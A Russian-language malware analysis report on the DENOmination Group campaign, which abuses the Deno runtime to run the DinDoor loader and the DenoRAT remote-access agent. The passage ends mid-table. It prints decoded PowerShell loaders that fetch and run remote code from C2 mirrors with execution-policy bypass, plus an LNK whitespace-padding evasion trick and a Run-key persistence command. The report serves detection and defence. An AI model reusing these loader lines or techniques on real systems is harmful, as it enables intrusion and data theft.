
Ключевые моменты
В 2026 году PT ESC выявил хакерскую группировку DENOmination Group, нацеленную на российские организации оборонно-промышленного, военного, финансового и консалтингового секторов.
Центральным техническим элементом активности DENOmination Group является использование легитимной среды выполнения Deno для запуска вредоносного JavaScript- и TypeScript-кода, а также для получения последующих компонентов от C2-сервера.
Связь между исследованными эпизодами подтверждается пересечениями в сетевой инфраструктуре, логике построения цепочек, сходством кодовой базы и конфигурационных параметров.
СОДЕРЖАНИЕ
В 2026 году отдел киберразведки PT ESC зафиксировал серию атак, объединенных использованием легитимной среды выполнения Deno для запуска вредоносного JavaScript-кода. Загрузочный компонент получил публичное название DinDoor; в подробно исследованных MSI- и LNK-ветках за ней следует полнофункциональный агент удаленного доступа DenoRAT.
Целями этих действий на территории Российской Федерации стали предприятия ОПК, военные структуры, банки, финансовые и консалтинговые организации. В качестве фишинговых приманок злоумышленники используют документы военной и финансово-кредитной тематики.
Принципиальная особенность цепочек — использование Deno как легитимной среды выполнения. Это позволяет операторам передавать выполнение обфусцированному JavaScript-коду, обновлять вредоносную логику на стороне C2-сервера и загружать дополнительные компоненты без изменения первоначального файла доставки.
В статье последовательно рассматриваются две основные цепочки первоначального запуска: MSI-ветка, выявленная в рамках фишинговой рассылки с финансовой тематикой, и LNK-ветка. Отдельно разбирается вредоносный установщик DeltaScan, выявленный при исследовании той же инфраструктуры и использующий сходную многостадийную схему запуска Deno. Совокупность пересечений в логике, техниках и сетевой инфраструктуре позволяет нам рассматривать эти эпизоды как активность одного актора.
Выявленную группировку мы назвали DENOmination Group. Название отражает ключевой технический признак наблюдаемой активности — систематическое использование Deno в связанных цепочках заражения. На текущем этапе имеющихся данных недостаточно для уверенной атрибуции DENOmination Group к какой-либо ранее известной группировке.
Контекст: Deno как оружие
Deno (deno.com) — легитимная среда выполнения JavaScript и TypeScript с открытым исходным кодом. В исследованных цепочках используется официальный deno.exe, который применяется как среда выполнения вредоносного JavaScript-кода.
В исследованных цепочках Deno запускается с флагом -A (--allow-all), который предоставляет выполняемому JavaScript-коду полный набор разрешений:
доступ к сети, файловой системе, переменным окружения;
запуск дочерних процессов;
вызов нативных функций через FFI.
Запуск deno.exe с флагом -A и вредоносным JavaScript-файлом позволяет использовать легитимную среду выполнения как промежуточный механизм запуска кода и может быть менее привычен для стандартных профилей мониторинга, чем классические сценарии с mshta.exe или wscript.exe.
Фишинговые письма
Письмо и защищенный архив
EML-образец использовал финансовую тематику и элемент срочности. Тема письма: «FW: Срочно! Оплатите просроченный кредит»; во вложении — запароленный архив [REDACTED]credit.zip. Шифрование архива одновременно затрудняет автоматическую проверку на почтовых шлюзах и создает для пользователя правдоподобную легенду «защищенного финансового документа».
![Рисунок 1. Пример фишингового письма с финансовой тематикой и вложением [REDACTED]credit.zip Рисунок 1. Пример фишингового письма с финансовой тематикой и вложением [REDACTED]credit.zip](https://habrastorage.org/r/w780/getpro/habr/upload_files/773/48d/506/77348d50604f18c8ceab003a76d271bf.png)
MSI-установщик
Внутри архива находился файл [REDACTED]credit.pdf.msi. Двойное расширение имитировало PDF-документ, однако файл являлся установочным пакетом Windows и запускался через msiexec.exe. В метаданных установщика зафиксированы значения:
Author = yankee20
Subject = mike_service26
Comments = documents
последнее совпадает с каталогом, куда устанавливается PowerShell-компонент.
После запуска MSI создавал PowerShell-скрипт Juliet_widget15.ps1 в каталоге %LOCALAPPDATA%\documents\ и инициировал его исполнение в скрытом режиме.

PowerShell-загрузчик и установка Deno
Juliet_widget15.ps1 проверяет наличие deno.exe по пути %USERPROFILE%\.deno\bin\deno.exe и при его отсутствии скачивает Deno с официального ресурса.
Встроенная Base64-строка декодируется как UTF-8 и записывается в %APPDATA%\Uniform_system17.js, после чего файл запускается с флагом -A. Так выглядит часть декодированного вредоносного PS-кода:
$d = "$env:USERPROFILE\.deno\bin\deno.exe" if (-not (Test-Path $d)) { iex ((irm https://deno.land/install.ps1 -UseBasicParsing) ` -replace '--ssl-revoke-best-effort', '') } $j = Join-Path $env:APPDATA "Uniform_system17.js" [IO.File]::WriteAllText($j, [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(<BASE64>))) & $d -A $j
Uniform_system17.js — загрузчик DinDoor
Uniform_system17.js представляет собой компактный загрузчик DinDoor на базе Deno, предназначенный для идентификации зараженного хоста, проверки доступности C2-сервера, получения основного модуля и его запуска через установленную среду выполнения Deno с полным набором разрешений. В исследованном образце отдельного механизма закрепления не обнаружено.
Механизм |
Поведение |
С2 |
Жестко задан hxxp://45.135.180[.]200. Код содержит логику переключения между командными серверами, однако в исследованном образце в массиве присутствует только один адрес |
Предотвращение повторного запуска |
Deno.listen() на 127.0.0.1:10091; занятый порт завершает повторный запуск |
Host ID (HUID) |
Формируется детерминированный 16-символьный идентификатор на основе USERNAME/USER, hostname, общего объема RAM и версии ОС (osRelease) |
Проверка доступности C2 |
GET /health timeout около трех секунд; сервер считается рабочим только при HTTP OK и теле ответа, равном ok |
Аутентификация |
Использует встроенный JWT в заголовке Authorization: Bearer <token> |
Передача данных о жертве |
В запросах используются: x-huid, x-username, x-hostname |
Получение основного модуля |
GET /event с заголовком x-module-request: main |
Цикл повторных попыток |
30 секунд |
Сохранение полезной нагрузки |
Ответ C2-сервера рассматривается как JavaScript-код и записывается рядом с загрузчиком как m.js |
Запуск полезной нагрузки |
m.js запускается той же средой выполнения Deno через deno.exe -A m.js |
m.js — DenoRAT
m.js — DenoRAT в MSI-ветке. В отличие от Uniform_system17.js, выполняющего роль загрузчика, m.js реализует полноценный удаленный доступ к зараженной системе и функции, выполняемые после ее компрометации.
Основные возможности m.js:
? Удаленное выполнение команд — запуск произвольных команд через cmd.exe и PowerShell.
? Интерактивная командная оболочка — создание PTY-сессии для постоянной работы оператора с зараженной системой.
? Сбор сведений о системе — имя пользователя, имя компьютера, домен, версия Windows, сведения о процессоре, видеокарте, памяти, уровне привилегий и средствах защиты.
? Обнаружение защитных решений — определение работающих антивирусов и EDR-систем и учет их наличия в отдельных сценариях работы вредоносного ПО.
? Захват экрана — создание снимков рабочего стола через Windows API.
? Кража данных браузеров — файлы cookie, сохраненные пароли, данные автозаполнения, платежных карт, IBAN, локального хранилища, расширений и отдельных баз браузеров.
? Кража данных менеджеров паролей — сбор информации из браузерных расширений Bitwarden, 1Password, LastPass, KeePassXC, Dashlane, NordPass, Keeper и других.
? Кража данных криптовалютных кошельков и расширений — сбор данных настольных кошельков и браузерных расширений для работы с криптовалютами, включая MetaMask, Phantom, Trust Wallet, Exodus, Electrum, Atomic Wallet, Coinbase Wallet и другие.
? Кража данных коммуникационных приложений — сбор файлов сессий Telegram Desktop и токенов Discord.
? Поиск чувствительных файлов — SSH-ключи, базы KeePass, сертификаты и закрытые ключи, VPN-конфигурации и RDP-файлы.
? Завершение процессов браузеров — принудительное закрытие Google Chrome, Microsoft Edge, Brave, Opera, Vivaldi, Yandex Browser и Chromium перед извлечением данных.
? Перенаправление сетевого трафика — создание TCP-туннеля через зараженный узел для доступа к ресурсам внутренней сети.
? Взаимодействие с сервером управления — получение заданий и передача результатов по HTTP и WebSocket через маршрут /service.
Основной C2-сервер исследованного m.js — hxxp://45.135.180[.]200. Для проверки доступности используется маршрут /health, а основной обмен заданиями и результатами выполняется через /service. Агент поддерживает периодический обмен по HTTP и постоянное соединение WebSocket; в запросах используются встроенный JWT и идентификационные заголовки
x-huid, x-username и x-hostname. HTTP используется для получения заданий и возврата результатов, а WebSocket — для интерактивной командной оболочки и перенаправления TCP-трафика.
Распространение через LNK
После выявления эпизода с распространения вредоносного MSI-файла мы продолжили мониторинг вредоносной активности, связанной с использованием Deno. С конца июня 2026 года нами регулярно фиксировались LNK-файлы, представлявшие отдельную ветку первоначальной доставки. Образцы маскировались под документы и запускали PowerShell для получения следующей стадии от C2-сервера.

Один из исследованных образцов распространялся под именем 2026-08-15-16-40-10-Анкета обучение программа ВГК”.docx.lnk. Двойное расширение docx.lnk создавало впечатление, что пользователю передан документ Microsoft Word.
LNK-файл выполняет роль первой стадии загрузки и запускает штатный Windows PowerShell. При этом операторы используют дополнительный прием, затрудняющий визуальное обнаружение фактических аргументов командной строки.
Перед параметрами PowerShell в поле аргументов помещена длинная последовательность управляющих пробельных символов. В исследованном образце она состоит из 203 символов:
? 102 символа перевода строки — LF (0x0A);
? 101 символ горизонтальной табуляции — HT/TAB (0x09).
Только после этой последовательности располагаются фактические параметры PowerShell:
<LF × 102> <TAB × 101> -NoP -W 1 -exec b -EncodedCommand <Base64>

Такое заполнение смещает содержательную часть строки относительно ее начала и затрудняет обнаружение команды при визуальном просмотре параметров ярлыка. При этом пробельные управляющие символы не препятствуют выполнению: PowerShell получает параметры командной строки, расположенные после них.
Основная команда передается PowerShell с использованием параметра EncodedCommand. Ее содержимое закодировано в Base64 с представлением строки в UTF-16LE. После декодирования получается компактный PowerShell-загрузчик, основной задачей которого является получение сценария следующего этапа. Ниже приведена декодированная PowerShell-команда из LNK-файла:
$mirrors = @( 'hxxp://46.29.166[.]104:80', 'hxxp://188.253.24[.]154:80', 'hxxp://94.103.2[.]76:80' ) $build = 'aa2a48591dd88a31' foreach ($m in $mirrors) { try { $out = "$env:TEMP\$build.ps1" Invoke-WebRequest -Uri "$m/$build.ps1" -OutFile $out ` -TimeoutSec 3 -UseBasicParsing -ErrorAction Stop if (Test-Path $out) { powershell -NoP -ep bypass -File $out; exit 0 } } catch {} }
PS1-установщик: четыре основные задачи
PowerShell-скрипт выполняет четыре группы задач:
Маршрут, источник |
Назначение |
POST /<build>/install-status |
Отправка телеметрии хода установки |
GET /<build>/fake |
Загрузка и открытие DOCX-приманки |
https://dl.deno.land/.../deno-x86_64-pc-windows-msvc.zip |
Загрузка и установка Deno 2.7.14 для Windows |
GET /d |
Резервная загрузка и установка Deno с C2-сервера, если dl.deno.land недоступен |
GET /<build>.js |
Скачивание и запуск загрузчика DinDoor (этап 2) |
Архив Deno сохраняется как %TEMP%\d-aa2a48591dd88a31.zip, распаковывается в ~\.deno\bin и удаляется после проверки размера.
После подготовки среды PowerShell запускает загрузчик непосредственно по URL:
deno.exe -A hxxp://<C2>/aa2a48591dd88a31.js
Документ-приманка (DOCX)
Маршрут /fake возвращал документ-приманку с метаданными lastModifiedBy = Christmas. Это анкета военнослужащего — оператора БПЛА с вопросами о летном опыте, работе с РЭБ, РЭР и тепловизорами, о стрессоустойчивости и мотивации. Заголовок документа — «Анкета обучения в 50 ОБрБпС».
Во внутренних параметрах сборки (JWT) значится «Анкета обучения роты 68 ОП БпС (в/ч 77766) (Кристмас)» — несовпадение обозначений 50 и 68 может указывать на переиспользование шаблонов сборщика.

Этап 2. DinDoor: идентификация и закрепление
aa2a48591dd88a31.js — это не конечный RAT, а постоянная точка входа. Загрузчик собирает идентификаторы хоста, закрепляется в системе, ведет телеметрию и получает основной модуль DenoRAT.
Данные |
Источник |
Username |
Deno.env.get("USERNAME") или Deno.env.get("USER") |
Hostname |
Deno.hostname() |
MachineGuid |
Deno FFI → advapi32.dll → RegOpenKeyExW / RegQueryValueExW → HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid |
HUID |
Хеш из username + hostname (16 символов) |
usernameHash |
Отдельный хеш username; используется в именах локальных JavaScript-файлов и Run key |
Использование Deno FFI для чтения MachineGuid — ключевая особенность: JavaScript напрямую вызывает Windows Registry API без запуска сторонних исполняемых файлов:
Deno.dlopen('advapi32.dll', { RegOpenKeyExW: { /* FFI signature / }, RegQueryValueExW:{ / FFI signature / }, RegCloseKey: { / FFI signature */ } })
HUID используется для идентификации зараженного узла во взаимодействии с C2-сервером. Отдельный usernameHash определяет имена локальных JavaScript-файлов и значение в ключе Run, благодаря чему файловые и реестровые артефакты можно коррелировать между собой.
Вместо Win32-мьютекса загрузчик вызывает Deno.listen({hostname:"127.0.0.1", port:61488, transport:"tcp"}). Ошибка AddrInUse означает, что экземпляр уже работает, и новый процесс завершается.
Загрузчик закрепляется самостоятельно, не перекладывая эту задачу на основной RAT. Через Deno.Command запускается PowerShell, который выполняет Set-ItemProperty в ключе автозапуска HKCU Run:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<usernameHash>
= conhost.exe --headless "<DenoPath>" -A "%APPDATA%\<usernameHash>.js"
Файл загрузчика скрывается атрибутом +h через attrib.exe. Дополнительно создается скрытая копия в %LOCALAPPDATA%\Microsoft\<usernameHash>.js.
Во всех HTTP-запросах этап 2 передает идентификационные заголовки:
authorization: Bearer <JWT>
x-huid: <host-id>
x-username: <username>
x-hostname: <hostname>
x-machine-guid: <MachineGuid>
Канал |
Направление |
Назначение |
GET /<build>.js |
C2 → жертва |
Самокопирование при первом HTTP-запуске |
POST /agent-exec-logs |
жертва → C2 |
Журналы выполнения (пакетная отправка примерно каждые 30 секунд) |
GET /network + x-module-request: main |
C2 → жертва |
Получение этапа 3 |
Резервные C2-серверы |
— |
При ошибке — переход на следующий из трех адресов; повторная попытка примерно через 30 секунд |
После получения ответа на GET /network загрузчик сохраняет JavaScript-код основного агента во временный каталог. Имя файла формируется на основе usernameHash: в обычном случае используется %TEMP%\<usernameHash>.js. Если каталог %APPDATA% совпадает с временным каталогом, для предотвращения конфликта с локальной копией загрузчика используется имя %TEMP%\<usernameHash>m.js. Полученный файл запускается через deno.exe -A.
Этап 3. /network: основной агент DenoRAT
DenoRAT не создает собственный механизм закрепления: это остается за DinDoor, который при каждом запуске получает актуальную версию /network. Такая архитектура позволяет оператору изменять основной агент на стороне сервера без изменения ключа автозапуска и локального загрузчика.
Канал управления: /group (периодический обмен по HTTP и WebSocket).
Набор команд
Команда |
Реализация |
Назначение |
exec |
Deno.Command → cmd.exe /c |
Одноразовое выполнение команды оператора |
exec-ps |
powershell.exe -NoProfile -NonInteractive -Command |
Выполнение PowerShell-кода |
sysinfo |
Deno APIs + FFI + tasklist |
Профиль системы, права, контекст SYSTEM, список AV/EDR |
screenshot |
Deno FFI → user32/gdi32/shcore |
JPEG-снимок рабочего стола; отдельный путь через wtsapi32 и временную запланированную задачу при работе от SYSTEM |
pty-start / input / resize / close |
@sigma/pty-ffi (динамический импорт) |
Интерактивная PTY-сессия (cmd, PowerShell, Deno REPL) |
fs-list-drives / fs-list-dir |
Deno/node:fs |
Навигация по файловой системе |
fs-upload-* / fs-download-* |
Двоичный протокол с передачей по частям |
Двунаправленная передача файлов |
fs-delete |
Deno/node:fs |
Удаление файлов |
remote-module |
GET /agent-modules/<n>.ts → динамический импорт |
Загрузка и выполнение TypeScript-модуля в памяти |
agent-exit |
Внутренняя команда |
Завершение RAT по команде C2-сервера |
Сбор данных браузеров
RAT автоматически перебирает профили Google Chrome, Microsoft Edge, Brave, Vivaldi, Yandex Browser, Opera, Opera GX, Iridium и Mozilla Firefox. Для Chromium-браузеров интерес представляет каталог Local Storage\leveldb — свежий log-файл копируется и отправляется на POST /browser-data?filename=... раз в 15 минут.
Перенаправление сетевого трафика
DenoRAT может использовать зараженный компьютер как промежуточный сетевой узел. Через двоичные WebSocket-сообщения C2-сервер передает имя узла или IP-адрес и порт назначения; агент вызывает Deno.connect({hostname, port, transport:"tcp"}) и ретранслирует трафик. Это позволяет оператору получать доступ к ресурсам внутренней сети жертвы.
Обнаружение средств защиты
Команда sysinfo запускает tasklist и сопоставляет имена процессов с внутренней таблицей. В исследованном образце присутствуют записи для Microsoft Defender и Microsoft Defender for Endpoint, Kaspersky, ESET, Norton и Symantec, McAfee и Trellix, Trend Micro, Bitdefender, Avast, AVG, Sophos, CrowdStrike Falcon, SentinelOne, Malwarebytes, Dr.Web, Comodo, Elastic Endpoint, Fortinet, Cylance, Carbon Black, Deep Instinct, Emsisoft, AhnLab, CyberReason, а также heuristic-regex для имен процессов с security- и EDR-маркерами.
Удаленные модули
Команда remote-module позволяет расширять функциональность без замены ядра: C2-сервер передает имя модуля (регулярное выражение ^[a-z0-9-]+$), RAT загружает /agent-modules/<n>.ts, помещает текст в Blob-URL, выполняет динамический импорт и запускает экспортированную функцию run(context). Постоянный файл на диске не создается.
Вредоносный установщик DeltaScan
В ходе исследования инфраструктуры кампании были выявлены два образца DeltaScan Setup 1.4.1.exe. Эта ветка использует многостадийную цепочку:
EXE → MSI → JavaScript/WSH → Deno → <идентификатор сборки>.js.
Первоначальный EXE реализован на .NET и разворачивает встроенный MSI. Далее установщик запускает встроенный JavaScript-сценарий через Windows Script Host; Он передает выполнение PowerShell-компоненту, после чего подготавливается среда Deno и запускается JavaScript-компонент, получаемый от C2-сервера.
Исследованные образцы различаются идентификаторами сборки, однако используют одинаковый набор серверов на этапе установки:
Параметр |
Сборка |
Сборка |
SHA-256 |
419fa868afdf0aeb71b4a8da5fd079d6f7ac56bce2ce2b2627873f15ffd13e04 |
d0c8f4b4812dbea1eeb644add6f2d539185506a1f4e7c81e4294c01bc288ee29 |
Идентификатор сборки |
cc04102ff6364e0e |
a447f6f2c491a40d |
C2-сервер при установке |
185.76.241[.]157; |
185.76.241[.]157; |
Встроенный MSI извлекается из .NET-сборки:
Assembly.GetExecutingAssembly().GetManifestResourceStream("Embedded.msi")
Последовательность работы первоначального EXE (.NET) выглядит следующим образом:
Проверить доступность C2-серверов по маршруту /<идентификатор сборки>/health-install.
Проверить наличие каталога предыдущей установки DeltaScan 1.4.1; при его наличии выполнить удаление через msiexec.exe /x.
Извлечь встроенный Embedded.msi из ресурсов сборки во временный каталог Path.GetTempPath(); имя файла формируется из первых 12 символов сгенерированного GUID.
-
Запустить извлеченный MSI командой
msiexec.exe /i "<имя_установщика>" /qb /norestart После завершения установки удалить временный MSI-файл.
Если ни один C2-сервер не отвечает подходящим HTTP-кодом, установка не продолжается. Таким образом, первоначальный EXE выполняет функции проверяющего и установочного дроппера, а дальнейшая цепочка — выполнение встроенного JScript-сценария через Windows Script Host, запуск PowerShell-компонента и подготовка среды Deno — реализована уже компонентами встроенного MSI.
Встроенный MSI, в свою очередь, содержит четыре основных компонента:
JsFile — JavaScript-сценарий для Windows Script Host. Запускается скрытно и передает выполнение следующего этапа PowerShell-компоненту.
PowerShell-скрипт — промежуточный компонент, запускаемый JScript-компонентом MSI через Windows Script Host. Он участвует в подготовке среды Deno и передаче выполнения JavaScript-компоненту следующего этапа.
DenoFile — встроенный дистрибутив среды выполнения Deno. В этой ветке Deno поставляется внутри MSI и не требует загрузки с официального ресурса.
ExeFile — NSIS-установщик программы DeltaScan 1.4.1. Программа отображает пользователю веб-страницу petrelх[.]live и, вероятно, выполняет роль прикрытия основной вредоносной активности.
Параметр |
Значение |
Запуск |
EXE (.NET) → MSI → JScript/WSH → PowerShell → Deno |
Формат агента |
hxxp://<C2>/<BuildID>.js получение JavaScript-компонента от C2-сервера |
Повторные попытки |
Последовательный перебор C2-серверов; при ошибке выполняются повторные попытки |
Проверка C2-сервера перед установкой |
GET /<BuildID>/health-install перед установкой |
Инфраструктура: ротация C2
Для LNK-ветки характерна регулярная ротация 16-символьных шестнадцатеричных идентификаторов сборки при относительно стабильных пулах C2. В нашем датированном наборе первый образец относится к 26 июня 2026 года. До четвертого августа включительно использовался пул 195.133.53[.]98, 13.140.8[.]25 и 78.153.149[.]152.
Пятого августа операторы перешли на новый пул C2 — 46.29.166[.]104, 188.253.24[.]154 и 94.103.2[.]76. Он использовался как минимум до 26 августа, тогда как идентификаторы сборок продолжали регулярно ротироваться.
Период |
Ветка кампании |
Промежуточная инфраструктура |
26.03–22.04.2026 |
MSI |
45.135.180[.]200 |
26.06.2026 |
LNK |
195.133.53[.]98 141.105.68[.]185 |
03.07–04.08.2026 |
LNK |
195.133.53[.]98 13.140.8[.]25 78.153.149[.]152 |
17.07–24.07.2026 |
DeltaScan |
185.76.241[.]157 13.140.8[.]25 141.105.68[.]185 |
05.08–26.08.2026 |
LNK |
46.29.166[.]104 188.253.24[.]154 94.103.2[.]76 |

Сборки DeltaScan Setup 1.4.1.exe пересекаются с LNK-инфраструктурой по адресам 13.140.8[.]25 и 141.105.68[.]185. Вместе с одинаковой схемой 16-символьных идентификаторов сборки, маршрутами проверки установки и запуском вредоносного JavaScript-кода через среду Deno эти пересечения поддерживают наше предположение о единой кампании одного актора.
Сравнение веток
Характеристика |
MSI |
LNK |
DeltaScan |
Приманка |
Финансовая |
Военная |
Сканер |
Подготовка среды |
PowerShell → загрузка Deno |
PowerShell → загрузка Deno 2.7.14 ZIP; |
EXE (.NET) → |
Проверка, телеметрия установки |
Не установлено |
POST /<build>/install-status |
GET /<BuildID>/health-install |
Порт одиночного экземпляра |
127.0.0.1:10091 |
127.0.0.1:61488 |
Не установлен |
Идентификация хоста |
username + hostname + RAM + OS release |
username + hostname + MachineGuid (через FFI) |
Не установлена |
Закрепление |
Не установлено |
HKCU Run + скрытые локальные JavaScript-копии |
Не установлено |
Получение следующего компонента |
GET /event → m.js |
GET /network → временный JS |
GET /<BuildID>.js |
Канал управления |
/service |
/group |
Не установлен |
Повторные попытки |
~30 секунд |
~30 секунд |
10 попыток × 3 C2-сервера пауза 5 секунд |
Удаленные модули |
Не установлено |
Явный /agent-modules/<n>.ts + динамический импорт |
Не установлено |
Сходство между ветками проявляется на разных уровнях. MSI- и LNK-ветки объединяет использование Deno для выполнения многостадийной JavaScript-цепочки и разделения загрузочного компонента и основного агента. LNK и DeltaScan дополнительно сближают 16-символьные идентификаторы сборки, последовательный перебор C2-серверов и прямые пересечения сетевой инфраструктуры.
Функции PTY, WebSocket-управления и перенаправления сетевого трафика подтверждены для исследованных компонентов DenoRAT.
Таксономия и оценка связности кампании
Разделение DinDoor и DenoRAT
В исследуемой кампании DinDoor и DenoRAT выполняют разные функции.
DinDoor используется как промежуточный загрузочный компонент: идентифицирует зараженный узел, проверяет доступность C2-сервера и обеспечивает получение и запуск следующей стадии.
DenoRAT представляет собой основной агент удаленного доступа и реализует выполнение команд, сбор и эксфильтрацию данных, интерактивную командную оболочку и сетевые функции. В зависимости от вектора первоначального доступа последовательность компонентов отличается:
MSI-ветка. После запуска MSI и PowerShell-компонента в систему записывается
Uniform_system17.js, выполняющий роль загрузчика DinDoor. Он идентифицирует зараженный узел, проверяет C2-сервер и получает по маршруту/eventосновной модульm.js. Полученный m.js является DenoRAT и содержит основную функциональность для удаленного управления и кражи данных.LNK-ветка. PowerShell-скрипт устанавливает Deno и запускает
aa2a48591dd88a31.js. Этот компонент выполняет роль загрузчика DinDoor, обеспечивает закрепление через HKCU\Software\Microsoft\Windows\ CurrentVersion\Run, создает локальные копии и ведет телеметрию. Основной агент DenoRAT загружается по маршруту/network, сохраняется во временный каталог и запускается через Deno. Полученный/networkреализует удаленное выполнение команд, работу с файлами, захват экрана, сбор браузерных данных, интерактивную командную оболочку, перенаправление сетевого трафика и загрузку дополнительных TypeScript-модулей через/agent-modules/<n>.ts.DeltaScan-ветка. Первоначальная доставка реализована через многостадийную цепочку EXE → MSI → JavaScript/WSH → Deno → <BuildID>.js. Встроенные компоненты MSI последовательно передают выполнение от JavaScript к Deno, через который запускается JavaScript-компонент, получаемый от C2-сервера. Архитектурно эта схема близка к MSI-ветке.
Возможный MaaS и связи с другими группировками
Полученные нами данные показывают, что DinDoor и DenoRAT, вероятно, не являются инструментарием, эксклюзивно используемым DENOmination Group. В открытых исследованиях аналогичные компоненты фигурируют в активности других отслеживаемых кластеров, при этом различаются способы первоначальной доставки, инфраструктура и последующие стадии заражения.
В апреле 2026 года Hunt.io проанализировали два образца DinDoor. Несмотря на общую логику идентификации зараженного узла и использование Deno, исследованные образцы существенно различались по реализации и дальнейшей цепочке выполнения. Во втором образце исследователи обнаружили встроенный JWT с параметрами кампании и инфраструктурой serialmenot[.]com. По данным Hunt.io, эта инфраструктура ранее фигурировала как многоарендная платформа, используемая различными операторами.
В пользу этого предположения говорит структура используемых компонентов. В исследованных нами ветках регулярно встречаются отдельные 16-символьные идентификаторы сборок, параметры buildId, buildNote, buildType, userId и userNote во встроенных JWT, а также отдельные наборы адресов C2-инфраструктуры. Такая модель позволяет формировать отдельные сборки и конфигурации для различных операций. При этом сами по себе эти признаки не позволяют установить, кто именно управляет серверной частью и каким образом операторы получают к ней доступ.
Дополнительный пример приводит eSentire Threat Response Unit. В июне 2026 года исследователи наблюдали цепочку заражения, которую они отнесли к активности TAG-150. Первоначальный доступ реализовывался через ClickFix: пользователь запускал вредоносную PowerShell-команду, после чего устанавливался MSI, PowerShell-компонент подготавливал Deno, а далее последовательно запускались DinDoor и DenoRAT. В этой операции DenoRAT выполнял функции удаленного доступа и сбора данных, а также использовался для доставки следующего компонента — NightshadeC2 — который eSentire связывает с TAG-150.
В образцах eSentire также присутствовали знакомые элементы архитектуры: разделение компонентов на загрузочные стадии, 16-символьный buildId, встроенный JWT с идентичными параметрами, а также получение основной полезной нагрузки от C2-сервера. eSentire отмечает, что некоторые комментарии и структура PowerShell-компонента указывают на автоматизированное формирование стадий на стороне инфраструктуры.
На текущем этапе мы рассматриваем модель malware-as-a-service (MaaS) или иной формы многоарендного доступа как рабочую гипотезу. Доступные данные указывают на возможность использования общей платформы несколькими операторами, однако не позволяют установить коммерческую модель распространения доступа: продажу, подписку, аренду инфраструктуры или взаимодействие с ограниченным кругом партнеров.
В связи с этим название DENOmination Group в рамках нашего исследования относится не к разработчикам DinDoor и DenoRAT и не ко всем операторам этого инструментария. Под этим названием мы отслеживаем конкретный кластер активности, нацеленный на российские организации и объединенный общими инфраструктурными, техническими и конфигурационными признаками.
Индикаторы компрометации
Хеши файлов
SHA-256 |
Артефакт |
f7cebe4a6f7f5aa4e019f0c093fcc56bfdd0dc91ac592603b313a05aa4686734 |
Фишинговое письмо (EML) |
7b793c54a927da36649eb62b9481d5bcf1e9220035d95bbfb85f44a6cc9541ae |
[REDACTED]credit.pdf.msi |
e5a2649140884257a4a51647dda81691451d6c3b2fba5326154e535b9c6cc4a8 |
MSI-ветка: загрузчик PowerShell |
fa9768eaf2c26a79ca4fef4c2a5bdc5122d376cc1960eb11d7894f2e23423eb6 |
АКТ ПРИЕМА-ПЕРЕДАЧИ МАТЕРИАЛЬНЫХ ЦЕННОСТЕЙ_210826_06 (1).docx.lnk |
98a5c46a1560f5dc62fe22630ee85d2021f436b51f4102bbbc9ac029dd3451c9 |
Uniform_system17.js (загрузчик DinDoor) |
195d4a4c336fddf1dec8c3758a1a3ee15576cd75b63c83256394ef1b13822914 |
m.js — основной модуль DenoRAT MSI-ветки |
419fa868afdf0aeb71b4a8da5fd079d6f7ac56bce2ce2b2627873f15ffd13e04 |
DeltaScan Setup 1.4.1 |
d0c8f4b4812dbea1eeb644add6f2d539185506a1f4e7c81e4294c01bc288ee29 |
DeltaScan Setup 1.4.1 |
Сетевые IoC
Индикатор |
Ветка |
45.135.180[.]200 |
MSI |
185.76.241[.]157 |
DeltaScan |
195.133.53[.]98 |
LNK |
141.105.68[.]185 |
LNK, DeltaScan |
13.140.8[.]25 |
LNK, DeltaScan |
78.153.149[.]152 |
LNK |
46.29.166[.]104 |
LNK |
188.253.24[.]154 |
LNK |
94.103.2[.]76 |
LNK |
Поведенческие паттерны (URI, заголовки)
Паттерн |
Описание |
/<16hex>.ps1 |
PowerShell этапа 1 LNK-ветки |
/<16hex>/install-status |
Телеметрия установки (LNK-ветка) |
/<16hex>/health-install |
Проверка доступности C2-сервера перед установкой (DeltaScan-ветка) |
/<16hex>/fake |
Загрузка документа-приманки |
/<16hex>.js |
Загрузчик Deno |
/network |
Доставка основного RAT |
/agent-exec-logs |
Журналы загрузчика |
/group |
Управление RAT, WebSocket |
/browser-data?filename=... |
Эксфильтрация |
/agent-modules/<n>.ts |
Загрузка дополнительных TypeScript-модулей |
HTTP: x-huid + x-machine-guid + authorization: Bearer |
Идентификационные заголовки агента |
MITRE ATT&CK
ID техники |
Название техники на английском |
Описание техники |
T1566.001 |
Phishing: Spearphishing Attachment |
DENOmination Group используют фишинговые письма с вредоносными вложениями. В MSI-ветке жертве доставлялся защищенный паролем архив [REDACTED]credit.zip, содержащий [REDACTED]credit.pdf.msi |
T1204.002 |
User Execution: Malicious File |
DENOmination Group используют файлы, выполнение которых требует действия пользователя. Примеры: [REDACTED]credit.pdf.msi и 2026-08-15-16-40-10-Анкета обучение программа ВГК”.docx.lnk |
T1036.007 |
Masquerading: Double File Extension |
DENOmination Group маскируют вредоносные файлы с помощью двойного расширения. Примеры: [REDACTED]credit.pdf.msi и *.docx.lnk, визуально имитирующие PDF- и DOCX-документы |
T1218.007 |
System Binary Proxy Execution: Msiexec |
DENOmination Group используют штатный msiexec.exe для запуска MSI-пакетов. В DeltaScan применяется команда msiexec.exe /i "<имя_установщика>" /qb /norestart, а предыдущая версия удаляется через msiexec.exe /x |
T1059.001 |
Command and Scripting Interpreter: PowerShell |
DENOmination Group используют PowerShell-команды и скрипты на разных этапах: в MSI-ветке — для запуска DinDoor через Deno; в LNK — powershell -NoP -W 1 -exec b -EncodedCommand <Base64>; в DeltaScan — между JavaScript или WSH и Deno. DenoRAT также выполняет PowerShell-код через exec-ps |
T1059.003 |
Command and Scripting Interpreter: Windows Command Shell |
DENOmination Group выполняют произвольные команды через Windows Command Shell. В DenoRAT команда exec запускает cmd.exe /c <command> посредством Deno.Command |
T1059.007 |
Command and Scripting Interpreter: JavaScript |
DENOmination Group выполняют вредоносную логику в виде JavaScript-кода через Deno. Например, Uniform_system17.js запускается командой deno.exe -A Uniform_system17.js, а в DeltaScan JavaScript-код используется через Windows Script Host |
T1027.010 |
Obfuscated Files or Information: Command Obfuscation |
DENOmination Group обфусцируют команды PowerShell с помощью -EncodedCommand, Base64/UTF-16LE, формирования строк из массивов символов и конкатенации. В исследованном LNK перед командой также размещены 102 символа LF и 101 символ TAB |
T1027.013 |
Obfuscated Files or Information: Encrypted, Encoded File |
